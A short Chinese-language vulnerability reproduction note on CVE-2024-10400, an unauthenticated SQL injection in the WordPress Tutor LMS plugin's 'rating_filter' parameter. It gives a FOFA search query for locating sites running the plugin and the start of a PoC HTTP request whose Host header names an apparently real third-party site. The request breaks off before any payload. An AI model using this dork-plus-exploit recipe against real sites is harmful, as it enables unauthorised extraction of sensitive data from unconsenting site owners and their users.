# WordPress插件Tutor_LMS存在SQL注入漏洞复现(CVE-2024-10400)
|
||
|
||
WordPress 的 Tutor LMS 插件在 2.7.6 及 2.7.6 之前的所有版本中存在通过 “rating_filter ”参数进行 SQL 注入的漏洞，原因是用户提供的参数未进行充分的转义处理，而且现有的 SQL 查询也未进行预编译。这使得未经认证的攻击者有可能在已有的查询中附加额外的 SQL 查询，从而从数据库中提取敏感信息。
|
||
|
||
## fofa
|
||
```javascript
|
||
body="/wp-content/plugins/tutor/"
|
||
```
|
||
|
||
## poc
|
||
```javascript
|
||
POST /wp-admin/admin-ajax.php HTTP/1.1
|
||
Host: academy.keune.ch

||
Content-Type: application/x-www-form-urlencoded
